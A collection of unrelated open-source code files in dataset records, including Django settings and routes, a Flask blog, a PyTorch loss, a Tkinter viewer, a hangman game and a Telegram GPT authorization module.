path\nfrom rest_framework.routers import SimpleRouter\n\nfrom users.views import UserRegistrations, UserRegistrationsToken, UserViewSet\n\nfrom .views import (CategoriesViewSet, CommentViewSet, GenresViewSet,\n ReviewViewSet, TitlesViewSet)\n\nrouter = SimpleRouter()\n\nrouter.register(\n 'users',\n UserViewSet, basename='users'\n)\nrouter.register('categories', CategoriesViewSet)\nrouter.register('genres', GenresViewSet)\nrouter.register('titles', TitlesViewSet)\nrouter.register(\n r'titles/(?P<title_id>\\d+)/reviews',\n ReviewViewSet\n)\nrouter.register(\n r'titles/(?P<title_id>\\d+)/reviews/(?P<review_id>\\d+)/comments',\n CommentViewSet\n)\n\n\nurlpatterns = [\n path('v1/email/', UserRegistrations.as_view()),\n path('v1/auth/token/', UserRegistrationsToken.as_view()),\n path('v1/', include(router.urls)),\n]\n","repo_name":"EvansPauliuts/yamdb_final","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38879648957","text":"from .base import *\n\nsecrets = json.loads(open(SECRETS_PRODUCTION, 'rt').read())\nset_config(secrets, module_name=__name__, start=True)\n\nDEBUG = False\nALLOWED_HOSTS = [\n 'localhost',\n '127.0.0.1',\n '.elasticbeanstalk.com',\n '.chan428.kr',\n '172.31.6.244',\n\n]\n\n\ndef is_ec2_linux():\n \"\"\"Detect if we are running on an EC2 Linux Instance\n See http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/identify_ec2_instances.html\n \"\"\"\n if os.path.isfile(\"/sys/hypervisor/uuid\"):\n with open(\"/sys/hypervisor/uuid\") as f:\n uuid = f.read()\n return uuid.startswith(\"ec2\")\n return False\n\n\ndef get_linux_ec2_private_ip():\n \"\"\"Get the private IP Address of the machine if running on an EC2 linux server\"\"\"\n from urllib.request import urlopen\n if not is_ec2_linux():\n return None\n try:\n response = urlopen('http://172.31.6.244/latest/meta-data/local-ipv4')\n ec2_ip = response.read().decode('utf-8')\n if response:\n response.close()\n return ec2_ip\n except Exception as e:\n print(e)\n return None\n\n\nprivate_ip = get_linux_ec2_private_ip()\nif private_ip:\n ALLOWED_HOSTS.append(private_ip)\nWSGI_APPLICATION = 'config.wsgi.production.application'\nINSTALLED_APPS += [\n 'storages',\n]\n# S3대신 EC2에서 정적파일을 제공 (프리티어의 Put사용량 절감)\n# STATICFILES_STORAGE = 'config.storage.StaticFilesStorage'\nDEFAULT_FILE_STORAGE = 'config.storage.DefaultFileStorage'\n","repo_name":"ChanPP/Project-point","sub_path":"app/config/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39274145605","text":"from tkinter import *\r\nfrom tkinter.font import Font\r\nimport sqlite3\r\n\r\n\r\n\r\nroot = Tk()\r\nroot.title('Available Vacancies')\r\nroot.config(bg=\"#4A78A9\")\r\nroot.iconbitmap('logo..ico')\r\nmy_font0 = Font(\r\n family='Lucida sans',\r\n size=8,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\n\r\nmy_font = Font(\r\n family='Lucida sans',\r\n size=13,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\n\r\nmy_font1 = Font(\r\n family='Lucida sans',\r\n size=15,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\nmy_font2 = Font(\r\n family='Lucida sans',\r\n size=25,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\nmy_font3 = Font(\r\n family='Lucida sans',\r\n size=14,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\nmy_font4 = Font(\r\n family='Lucida sans',\r\n size=20,\r\n weight='bold',\r\n slant='roman',\r\n overstrike=0)\r\n# databases\r\n\r\n# create a databases or connect to one\r\nconn = sqlite3.connect('Vacancy.db')\r\n\r\n# create cursor\r\nc = conn.cursor()\r\nc.execute(\"SELECT * FROM details\")\r\n\r\ndataa = c.fetchall()\r\ndis1 = Label(root, text=f'Following are the Available Vacancies for you. All THE BEST!', font=my_font, padx=30, pady=30, bg=\"#4A78A9\")\r\ndis1.grid(row=0, column=0)\r\ny = 0\r\nfor z in dataa:\r\n y = y + 1\r\n a,b,c,d,e,f,g,h,i,j,k = z\r\n dis = Label(root, text=f'{y}: Company: {a}, Address: {b}, Language: {c}, Field: {d}, Skills: {e}, Salary: {f}, Contact: {g}, Qualification: {h}, Anything Else: {i}, Email: {j}, Year of Experience: {k}', font=my_font0, bg = \"#4A78A9\", pady=10, padx=5)\r\n dis.grid(row=y, column=0)\r\n\r\n\r\n\r\n\r\nconn.commit()\r\nconn.close()\r\nroot.mainloop()\r\n","repo_name":"kiyo-9/CV-ANCIES","sub_path":"recpop.py","file_name":"recpop.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"8735293763","text":"import json\nimport sqlite3\n\npJson = json.load(open('profs.json'))\ncpJson = json.load(open('caNamesProfs.json'))\ndb = sqlite3.connect(\"courses.db\")\nc = db.cursor()\n# populate prof table\ncolumns = ['email', 'firstName', 'lastName']\nquery = \"insert into profs values (?,?,?)\"\n\nfor prof in pJson:\n # http://stackoverflow.com/questions/8811783/convert-json-to-sqlite-in-python-how-to-map-json-keys-to-database-columns-prop\n keys = tuple(prof[c] for c in columns) \n c.execute(query, keys)\n\n# populate prof table\ncolumns = ['caName', 'email']\nquery = \"insert into coursesprofs values (?,?)\"\n\nfor pair in cpJson:\n keys = tuple(pair[c] for c in columns) \n c.execute(query, keys)\n\ndb.commit() #save database\ndb.close()\n","repo_name":"tlewismedia/cs419-group5-repo","sub_path":"coursesDB/dbprofloader.py","file_name":"dbprofloader.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29991829948","text":"import torch\nfrom torch import abs, sigmoid, log, sum, mean, clamp\n\n\nclass WeightedBinaryCrossEntropyLoss(torch.nn.Module):\n\n def __init__(self, reduction='mean'):\n super().__init__()\n if reduction == 'mean':\n self.reduction = mean\n elif reduction == 'sum':\n self.reduction = sum\n else:\n raise ValueError('Unsupported reduction method {:s}'.format(reduction))\n\n def forward(self, estimates, target, exponents=1., term_weights=1.):\n\n estimates = sigmoid(estimates)\n estimates = clamp(estimates, min=1e-15, max=1.-1e-15)\n\n #p_weights = (1. - estimates).pow(exponents)\n #q_weights = estimates.pow(exponents)\n\n p_weights = abs(1. - estimates)\n q_weights = abs(estimates)\n\n p = log(estimates)\n q = log(1. - estimates)\n\n p_cross_entropy = target * p * p_weights\n q_cross_entropy = (1. - target) * q * q_weights\n\n loss = p_cross_entropy + q_cross_entropy\n loss = self.reduction(-loss * term_weights)\n return loss\n","repo_name":"timmlerc/pnet","sub_path":"phocnet/src/cnn/losses/weighted_binary_cross_entropy.py","file_name":"weighted_binary_cross_entropy.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9653490370","text":"import argparse\n\nfrom injector import Injector\n\nfrom src.application.domain.service.training_service import TrainingServiceModule\nfrom src.application.service.learning_service import LearningService, LearningServiceModule\n\n\ndef main(args):\n injector = Injector([LearningServiceModule(), TrainingServiceModule()])\n learning_service = injector.get(LearningService)\n\n learning_service.run(args.config, args.test)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', required=True)\n parser.add_argument('--test', action='store_true')\n args = parser.parse_args()\n\n main(args)\n","repo_name":"tommyfms2/general_trainer","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4001816504","text":"from tensorflow.python.distribute import multi_process_runner\nfrom tensorflow.python.distribute import multi_worker_test_base\nfrom tensorflow.python.eager import test\n\n\nclass MultiProcessRunnerNoInitTest(test.TestCase):\n\n def test_not_calling_correct_main(self):\n\n def simple_func():\n return 'foobar'\n\n with self.assertRaisesRegex(multi_process_runner.NotInitializedError,\n '`multi_process_runner` is not initialized.'):\n multi_process_runner.run(\n simple_func,\n multi_worker_test_base.create_cluster_spec(num_workers=1))\n\n\nif __name__ == '__main__':\n # Intentionally not using `multi_process_runner.test_main()` so the error\n # would occur.\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/distribute/multi_process_runner_no_init_test.py","file_name":"multi_process_runner_no_init_test.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"13344893977","text":"from pptx import Presentation\nfrom pypptx import nsmap, a, p, shape, color\n\nprs = Presentation()\nslide = prs.slides.add_slide(prs.slidelayouts[6])\nshapes = slide._element.find('.//p:spTree', namespaces=nsmap)\n\nshp = shape('ellipse', 0, 0, 999999, 999999)\nshapes.append(shp)\n\n# Fill with a scheme colour\nshp.spPr.append(a.solidFill(color(\n schemeClr='accent2', # 2nd theme colour\n tint='50%', # 50% white mixed\n alpha='30%' # 30% opaque, 70% transparent\n)))\n\nshp = shape('ellipse', 999999, 0, 999999, 999999)\nshapes.append(shp)\n\n# Fill with an RGB colour\nshp.spPr.append(a.solidFill(color(\n srgbClr='FF0000', # Red\n shade='50%', # 50% black mixed\n sat='30%' # 30% saturation\n)))\n\nshp = shape('ellipse', 0, 999999, 999999, 999999)\nshapes.append(shp)\n\n# Fill with an RGB colour\nshp.spPr.append(a.gradFill(\n a.gsLst(\n a.gs(color(schemeClr='accent2', tint= '0%'), pos=\"0\"),\n a.gs(color(schemeClr='accent2', tint='20%'), pos=\"50000\"),\n a.gs(color(schemeClr='accent2', tint='40%'), pos=\"100000\"),\n ),\n a.lin(ang='2700000', scaled='1'), # out of 21600000 = 1/8 = 45 degrees\n))\n\n# Add a line\nshp.spPr.append(a.ln(\n a.solidFill(color( # Solid fill with\n schemeClr='accent2', # 2nd theme colour\n shade='20%', # 20% black mixed\n alpha='50%', # 50% transparent\n )),\n w='3175', # 0.25pt stroke width\n))\n\n# Add text\nshp.append(p.txBody(\n a.bodyPr(anchor='ctr'), # vertically center the text\n a.p(\n a.pPr(algn='ctr'), # horizontally center the text\n a.r(a.t('abc')),\n)))\nprs.save('sample.pptx')\n","repo_name":"gramener/pypptx","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"8482592548","text":"# Faça um programa que tenha uma função chamada ficha(), que receba dois parâmetros opcionais: o nome de um jogador e quantos gols ele marcou. O programa deverá ser capaz de mostrar a ficha do jogador, mesmo que algum dado não tenha sido informado corretamente.\n\ndef ficha(jogador='<desconhecido>', gols=0):\n print(f'O jogador {jogador} fez {gols} gol(s) no campeonato')\n\n\njogador = str(input('Nome do jogador: ')) .strip() .upper()\nnunGols = str(input('Numeros de gols: ')) .strip()\n\nif nunGols.isnumeric():\n nunGols = int(nunGols)\nelse:\n nunGols = 0\n\nwhile True:\n if len(jogador) + nunGols == 0:\n ficha()\n elif jogador == '' and nunGols >= 0:\n ficha(gols=nunGols)\n elif len(jogador) >= 1 and not nunGols:\n ficha(jogador)\n else:\n ficha(jogador,nunGols)\n break","repo_name":"RodrigoArgenton/testepython","sub_path":"3 - Mundo 3/4 - Função/desafio103.py","file_name":"desafio103.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"70989190761","text":"from pathlib import Path\nimport time\nimport re\nimport sys\nfrom utils.shell import Shell\nspike_exp = re.compile(\"SPIKE : \\t (?P<val>\\d+\\.*\\d*)\\t (?P<idvec>[0-9]+) \\\n \\[(?P<pid>\\d+)\\]\")\nstart_exp = re.compile(\"\\[(?P<pid>\\d+)\\] NC = (?P<nc>\\d+), SYN = (?P<syn>\\d+), \\\n tmp_pre = (?P<tmp_pre>\\d+), \\\n tmp_post = (?P<tmp_post>\\d+)\")\nend_exp = re.compile(\"\\[(?P<pid>\\d+)\\] nsendmax=(?P<nsendmax>\\d+) \\\n nsend=(?P<nsend>\\d+) nrecv=(?P<nrecv>\\d+) \\\n nrecv_useful=(?P<nrecv_useful>\\d+)\")\ntime_exp = re.compile(\n \"\\s+\\* core time : (?P<decimal>\\d+).(?P<float>\\d+) sec\\s+\")\ndir_path = \"neuron_kplus/hoc/\"\n\n\nclass Summarizer:\n \"\"\"\n \"\n \"\"\"\n def __init__(self):\n self.shell = Shell()\n\n def summary(self, job_id, job_cnt):\n core_time = self.obtain_time(\"job{0}.sh.o{1}\".format(job_cnt, job_id))\n\n # self.clean_up(job_type, job_id)\n self.clean_up(job_cnt, job_id)\n return core_time\n\n def obtain_time(self, filename):\n f_check = Path(\"{0}{1}\".format(dir_path, filename))\n while not f_check.exists():\n time.sleep(5)\n f = open(\"{0}{1}\".format(dir_path, filename))\n lines = f.readlines()\n f.close()\n for line in lines:\n m = time_exp.match(line)\n if m:\n calc_time = int(m.group(\"decimal\")) +\\\n int(m.group(\"float\")) * 10**(-len(m.group(\"float\")))\n print(calc_time)\n return calc_time\n\n def clean_up(self, job_cnt, job_id):\n self.shell.execute(\n \"cp\",\n [\"job{0}.sh.o{1} ../../tmp/\".format(job_cnt, job_id)],\n [],\n dir_path\n )\n self.shell.execute(\n \"cp\",\n [\"job{0}.sh.e{1} ../../tmp/\".format(job_cnt, job_id)],\n [],\n dir_path\n )\n self.shell.execute(\n \"rm\",\n [\n \"job{0}.sh.o{1}\".format(job_cnt, job_id),\n \"job{0}.sh.e{1}\".format(job_cnt, job_id),\n ],\n [\"-f\"],\n dir_path\n )\n","repo_name":"hashmup/genie","sub_path":"genie/simulator/summarizer.py","file_name":"summarizer.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24472920945","text":"import os\nimport torch\nimport importlib\nimport os.path as osp\nfrom trainers.base_trainer import BaseTrainer\nfrom models.igp_wrapper import distillation, deformation, correction\nfrom trainers.utils.utils import set_random_seed\nfrom trainers.losses.eikonal_loss import loss_eikonal\nfrom trainers.losses.filtering_losses import loss_boundary, loss_lap\n\n\nclass Trainer(BaseTrainer):\n\n def __init__(self, cfg, args, original_decoder=None):\n super().__init__(cfg, args)\n self.cfg = cfg\n self.args = args\n self.dim = 3\n\n set_random_seed(getattr(self.cfg.trainer, \"seed\", 666))\n\n # The networks\n if original_decoder is None:\n if not hasattr(cfg.models, \"net\"):\n cfg.models.net = cfg.models.decoder\n sn_lib = importlib.import_module(cfg.models.net.type)\n self.original_decoder = sn_lib.Net(cfg, cfg.models.net)\n self.original_decoder.cuda()\n self.original_decoder.load_state_dict(\n torch.load(cfg.models.net.path)['net'])\n print(\"Original Decoder:\")\n print(self.original_decoder)\n else:\n self.original_decoder = original_decoder\n\n # Get the wrapper for the operation\n self.wrapper_type = getattr(\n cfg.trainer, \"wrapper_type\", \"distillation\")\n if self.wrapper_type in ['distillation']:\n self.decoder, self.opt_dec, self.scheduler_dec = distillation(\n cfg, self.original_decoder,\n reload=getattr(self.cfg.trainer, \"reload_decoder\", True))\n elif self.wrapper_type in ['correction']:\n self.decoder, self.opt_dec, self.scheduler_dec = correction(\n cfg, self.original_decoder)\n elif self.wrapper_type in ['deformation']:\n self.decoder, self.opt_dec, self.scheduler_dec = deformation(\n cfg, self.original_decoder)\n else:\n raise ValueError(\"wrapper_type:\", self.wrapper_type)\n\n # Prepare save directory\n os.makedirs(osp.join(cfg.save_dir, \"images\"), exist_ok=True)\n os.makedirs(osp.join(cfg.save_dir, \"checkpoints\"), exist_ok=True)\n os.makedirs(osp.join(cfg.save_dir, \"val\"), exist_ok=True)\n\n # Set-up counter\n self.num_update_step = 0\n self.boundary_points = None\n\n # The [beta] that controlls how smooth/sharp the output shape should be\n # If beta > 1, then the output shape will increase in curvature\n # so it will be sharper\n # If beta < 1, then the output shape will decrease in curvature\n # so it will be smoother.\n # beta should be > 0.\n self.beta = getattr(self.cfg.trainer, \"beta\", 1.)\n\n # whether plot histogram for network weights\n self.show_network_hist = getattr(\n self.cfg.trainer, \"show_network_hist\", False)\n\n def update(self, _, *args, **kwargs):\n self.num_update_step += 1\n if 'no_update' in kwargs:\n no_update = kwargs['no_update']\n else:\n no_update = False\n if not no_update:\n self.decoder.train()\n self.opt_dec.zero_grad()\n\n boundary_loss_weight = float(getattr(\n self.cfg.trainer, \"boundary_weight\", 1.))\n boundary_loss_num_points = int(getattr(\n self.cfg.trainer, \"boundary_num_points\", 0))\n boundary_loss_points_update_step = int(getattr(\n self.cfg.trainer, \"boundary_loss_points_update_step\", 1))\n boundary_loss_use_surf_points = int(getattr(\n self.cfg.trainer, \"boundary_loss_use_surf_points\", True))\n if boundary_loss_weight > 0. and boundary_loss_num_points > 0:\n if self.num_update_step % boundary_loss_points_update_step == 0:\n self.boundary_points = None\n loss_y_boundary, self.boundary_points = loss_boundary(\n (lambda x: self.original_decoder(x)),\n (lambda x: self.decoder(x)),\n npoints=boundary_loss_num_points,\n x=self.boundary_points,\n dim=self.dim,\n use_surf_points=boundary_loss_use_surf_points)\n loss_y_boundary = loss_y_boundary * boundary_loss_weight\n else:\n loss_y_boundary = torch.zeros(1).float().cuda()\n\n grad_norm_weight = float(getattr(\n self.cfg.trainer, \"grad_norm_weight\", 1e-2))\n grad_norm_num_points = int(getattr(\n self.cfg.trainer, \"grad_norm_num_points\", 5000))\n if grad_norm_weight > 0. and grad_norm_num_points > 0:\n loss_unit_grad_norm = loss_eikonal(\n lambda x: self.decoder(x),\n npoints= grad_norm_num_points,\n use_surf_points=False, invert_sampling=False\n )\n loss_unit_grad_norm *= grad_norm_weight\n else:\n loss_unit_grad_norm = torch.zeros(1).float().cuda()\n\n lap_loss_weight = float(getattr(\n self.cfg.trainer, \"lap_loss_weight\", 1e-4))\n lap_loss_threshold = int(getattr(\n self.cfg.trainer, \"lap_loss_threshold\", 50))\n lap_loss_num_points = int(getattr(\n self.cfg.trainer, \"lap_loss_num_points\", 5000))\n if lap_loss_weight > 0. and lap_loss_num_points > 0:\n loss_lap_scaling = loss_lap(\n (lambda x: self.original_decoder(x)),\n (lambda x: self.decoder(x)),\n npoints=lap_loss_num_points,\n beta=self.beta,\n masking_thr=lap_loss_threshold,\n )\n loss_lap_scaling = loss_lap_scaling * lap_loss_weight\n else:\n loss_lap_scaling = torch.zeros(1).float().cuda()\n\n loss = loss_unit_grad_norm + loss_y_boundary + loss_lap_scaling\n if not no_update:\n loss.backward()\n self.opt_dec.step()\n\n return {\n 'loss': loss.detach().cpu().item(),\n 'scalar/loss/loss': loss.detach().cpu().item(),\n 'scalar/loss/loss_boundary': loss_y_boundary.detach().cpu().item(),\n 'scalar/loss/loss_eikonal': loss_unit_grad_norm.detach().cpu().item(),\n 'scalar/loss/loss_lap_scaling': loss_lap_scaling.detach().cpu().item(),\n 'scalar/weight/loss_boundary': boundary_loss_weight,\n 'scalar/weight/loss_eikonal': grad_norm_weight,\n 'scalar/weight/loss_lap': lap_loss_weight,\n }\n\n def log_train(self, train_info, train_data, writer=None,\n step=None, epoch=None, visualize=False, **kwargs):\n if writer is None:\n return\n writer_step = step if step is not None else epoch\n\n # Log training information to tensorboard\n train_info = {k: (v.cpu() if not isinstance(v, float) else v)\n for k, v in train_info.items()}\n for k, v in train_info.items():\n ktype = k.split(\"/\")[0]\n kstr = \"/\".join(k.split(\"/\")[1:])\n if ktype == 'scalar':\n writer.add_scalar(kstr, v, writer_step)\n\n if self.show_network_hist:\n for name, p in self.decoder.named_parameters():\n writer.add_histogram(\"hist/%s\" % name, p, writer_step)\n\n if visualize:\n # NOTE: trainer sub class should implement this function\n self.visualize(train_info, train_data, writer=writer, step=step,\n epoch=epoch, visualize=visualize, **kwargs)\n\n def validate(self, test_loader, epoch, *args, **kwargs):\n return {}\n\n def save(self, epoch=None, step=None, appendix=None, **kwargs):\n d = {\n 'orig_dec': self.original_decoder.state_dict(),\n 'opt_dec': self.opt_dec.state_dict(),\n 'dec': self.decoder.state_dict(),\n 'epoch': epoch,\n 'step': step\n }\n if appendix is not None:\n d.update(appendix)\n save_name = \"epoch_%s_iters_%s.pt\" % (epoch, step)\n path = osp.join(self.cfg.save_dir, \"checkpoints\", save_name)\n torch.save(d, path)\n\n def resume(self, path, strict=True, **kwargs):\n ckpt = torch.load(path)\n self.original_decoder.load_state_dict(ckpt['orig_dec'], strict=strict)\n self.decoder.load_state_dict(ckpt['dec'], strict=strict)\n self.opt_dec.load_state_dict(ckpt['opt_dec'])\n start_epoch = ckpt['epoch']\n return start_epoch\n\n def epoch_end(self, epoch, writer=None, **kwargs):\n if self.scheduler_dec is not None:\n self.scheduler_dec.step(epoch=epoch)\n if writer is not None:\n writer.add_scalar(\n 'train/opt_lr', self.scheduler_dec.get_lr()[0], epoch)\n","repo_name":"stevenygd/NFGP","sub_path":"trainers/smooth_sharpen.py","file_name":"smooth_sharpen.py","file_ext":"py","file_size_in_byte":8711,"program_lang":"python","lang":"en","doc_type":"code","stars":180,"dataset":"github-code","pt":"18"} +{"seq_id":"26433600074","text":"import os\nfrom typing import Optional\nfrom pyrogram import Client\nfrom common.info import gpt_admins\nfrom pyrogram.types import Message\nfrom pyrogram.enums.parse_mode import ParseMode\nfrom common.data import gpt_users_file, gpt_auth_info, bot_debug_info\nfrom pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\n\nclass GPTAuth:\n def __init__(self):\n self.users = []\n self.read_users()\n if not self.users:\n self.users = gpt_admins.copy()\n\n def read_users(self):\n if os.path.isfile(gpt_users_file):\n with open(gpt_users_file, 'r') as file:\n users = file.read().splitlines()\n self.users = [int(user) for user in users]\n\n def write_users(self):\n with open(gpt_users_file, 'w') as file:\n file.write('\\n'.join([str(user) for user in self.users]))\n\n def add_user(self, user_id: int):\n if user_id not in self.users:\n self.users.append(user_id)\n self.write_users()\n\n def del_user(self, user_id: int):\n if user_id in self.users:\n self.users.remove(user_id)\n self.write_users()\n\n\ndef has_gpt_auth(client: Client, message: Message) -> bool:\n if message.from_user:\n user_id = message.from_user.id\n if user_id in gpt_auth.users:\n return True\n return False\n\n\nasync def ask_for_gpt_auth(client: Client, message: Message) -> Optional[Message]:\n if os.name == 'nt':\n # debugging\n return await message.reply_text(bot_debug_info, parse_mode=ParseMode.MARKDOWN, disable_web_page_preview=True)\n else:\n user_id = message.from_user.id\n reply_markup = InlineKeyboardMarkup([\n [InlineKeyboardButton('允许', callback_data=f'gpt_auth_{user_id}_y')],\n [InlineKeyboardButton('拒绝', callback_data=f'gpt_auth_{user_id}_n')]\n ])\n return await message.reply_text(gpt_auth_info, reply_markup=reply_markup)\n\n\ndef ensure_gpt_auth(func):\n async def wrapper(client: Client, message: Message):\n if has_gpt_auth(client, message):\n return await func(client, message)\n else:\n return await ask_for_gpt_auth(client, message)\n return wrapper\n\n\ngpt_auth = GPTAuth()\n","repo_name":"KumaTea/NextBot","sub_path":"gpt/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70177427561","text":"import os\r\nimport random\r\n\r\ndef select_words():\r\n words=[]\r\n with open(\"./data.txt\", \"r\", encoding=\"utf-8\") as f:\r\n words=[line.rstrip() for line in f] \r\n palabra=random.choice(words)\r\n acentos={\"á\":\"a\",\"é\":\"e\",\"í\":\"i\",\"ó\":\"o\",\"ú\":\"u\"}\r\n \r\n for acen in acentos:\r\n if acen in palabra:\r\n palabra=palabra.replace(acen, acentos[acen])\r\n return palabra\r\n \r\ndef hagman():\r\n palabra=select_words()\r\n list_=[]\r\n b=len(palabra)\r\n for n in range (b):\r\n list_.append(\"-\")\r\n\r\n list=[]\r\n for i in palabra:\r\n list.append(i)\r\n\r\n while \"-\" in list_:\r\n print(\"\\n \\n Juego del ahorcado, elige letra por letra para hallar la palabra!\")\r\n print(*list_, sep = \" \")\r\n \r\n letra=str(input(\"Ingresa una letra \",))\r\n z=palabra.count(letra)\r\n b=len(palabra)\r\n list_l=[]\r\n\r\n if letra in list:\r\n d=list.index(letra)\r\n list_l.append(d)\r\n if z >1:\r\n d=list.index(letra,d+1,b)\r\n list_l.append(d)\r\n\r\n for w in list_l:\r\n list_[w]=letra\r\n list_l.clear() \r\n os.system(\"cls\")\r\n\r\n palabra=palabra.upper()\r\n print(\"\\n \\n Ganaste! la palabra era: \", palabra)\r\n\r\nif __name__==\"__main__\":\r\n hagman()","repo_name":"araod14/Hangman","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34444220944","text":"import re\nfrom flask import (\n Blueprint, render_template, request, flash, redirect, url_for, g, make_response\n)\nfrom flaskr.auth import login_required\nfrom flaskr.db import get_db, get_redis\nfrom werkzeug.exceptions import abort\n\nbp = Blueprint('blog', __name__)\n\ndef like(post, redis):\n post = dict(post)\n\n post_id = f\"post_{post['id']}\"\n post['total_post_like'] = redis.scard(post_id)\n post['the_user_like'] = redis.sismember(post_id, g.user['id']) if g.user is not None else False\n return post\n\ndef pre_body(post):\n post['body'] = re.sub(r\"[\\s+\\.\\!\\/_,$%^*(+\\\"\\']+|[+——！，。？、~@#￥%……&*<>]+\", \" \", post[\"body\"])\n return post\n\n@bp.route('/')\n@bp.route('/<int:cur_page>')\ndef index(cur_page=1, page_size=10):\n\n db = get_db()\n redis = get_redis()\n\n start_position = (cur_page-1)*page_size\n\n posts = db.execute(\n 'SELECT p.id, title, body, p.created, author_id, total_post_like, total_post_comment, username'\n ' FROM post p LEFT JOIN user u ON p.author_id = u.id'\n ' ORDER BY p.created DESC'\n ' LIMIT ?, ?',\n (start_position, page_size)\n ).fetchall()\n \n total_count = db.execute(\n 'SELECT COUNT(id) FROM post'\n ).fetchone()\n\n total_page = (total_count[0] // page_size) + 1\n\n posts = map(lambda x: like(x, redis), posts)\n posts = map(pre_body, posts)\n\n return render_template(\n 'blog/index.html', \n posts=posts, \n cur_page=cur_page, \n total_page=total_page)\n\n@bp.route('/create', methods=['GET', 'POST'])\n@login_required\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n error = None\n\n if not title:\n error = 'Title is required.'\n\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'INSERT INTO post (title, body, author_id)'\n ' VALUES (?, ?, ?)',\n (title, body, g.user['id'])\n )\n db.commit()\n return redirect(url_for('blog.index'))\n return render_template('blog/create.html')\n\ndef get_post(id, check_author=True):\n post = get_db().execute(\n 'SELECT p.id, title, body, created, author_id, total_post_like, total_post_comment, username'\n ' FROM post p JOIN user u ON p.author_id = u.id'\n ' WHERE p.id = ?',\n (id,)\n ).fetchone()\n\n if post is None:\n abort(404, f\"Post id {id} doesn`t exist.\")\n if check_author and post['author_id'] != g.user['id']:\n abort(403, f\"Author doesn`t right\")\n \n redis = get_redis()\n post = like(post, redis)\n \n return post\n\n@bp.route('/<int:id>/update', methods=['GET', 'POST'])\n@login_required\ndef update(id):\n post = get_post(id)\n\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n error = None\n\n if not title:\n error = 'Title is required.'\n\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'UPDATE post SET title = ?,body = ?'\n ' WHERE id = ?',\n (title, body, id)\n )\n db.commit()\n return redirect(url_for('blog.index'))\n return render_template('blog/update.html', post=post)\n\n@bp.route('/<int:id>/delete', methods=['POST'])\n@login_required\ndef delete(id):\n get_post(id)\n db = get_db()\n db.execute('DELETE FROM post WHERE id = ?', (id,))\n db.commit()\n return redirect(url_for('blog.index'))\n","repo_name":"fstcap/blog","sub_path":"flaskr/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70559907880","text":"import math\n\nx = [2, 2.05, 2.10, 2.15]\ny = [0.693, 0.718, 0.742, 0.765]\nn = len(x)\ndef gaussSolve (a, b):\n n = len(a)\n for pivot in range(n-1):\n for line in range(pivot+1, n):\n factor = a[line][pivot] / a[pivot][pivot]\n for element in range(n):\n a[line][element] -= a[pivot][element] * factor\n b[line] -= b[pivot] * factor\n \n x = [0] * n\n for i in range(n):\n index = n - i - 1\n sum = b[index]\n for j in range(index+1, n):\n sum -= x[j] * a[index][j]\n x[index] = sum / a[index][index]\n \n return x\nA = [[0 for x in range(n)] for y in range(n)]\n\nfor i in range(n):\n for j in range(n):\n A[i][j] = math.pow(x[i], j)\n\n\n\nresult = gaussSolve(A, y)\nprint (result)\n\n","repo_name":"gabrielmuller/calcnum","sub_path":"interp_direto.py","file_name":"interp_direto.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"6219818347","text":"import json\nimport re\nimport threading\nimport time\n\nimport requests\nfrom common.base_crypt import BaseCrypt\nfrom common.log import logger\nfrom datahub.common.const import (\n ACTIONS,\n ADD,\n ALIAS,\n ALLOCATION,\n ANALYZED_FIELDS,\n CLUSTER_NAME,\n CLUSTER_TYPE,\n CONNECTION_INFO,\n DATE,\n DATE_FIELDS,\n DOC_VALUES,\n DOC_VALUES_FIELDS,\n DOUBLE,\n DTEVENTTIME,\n 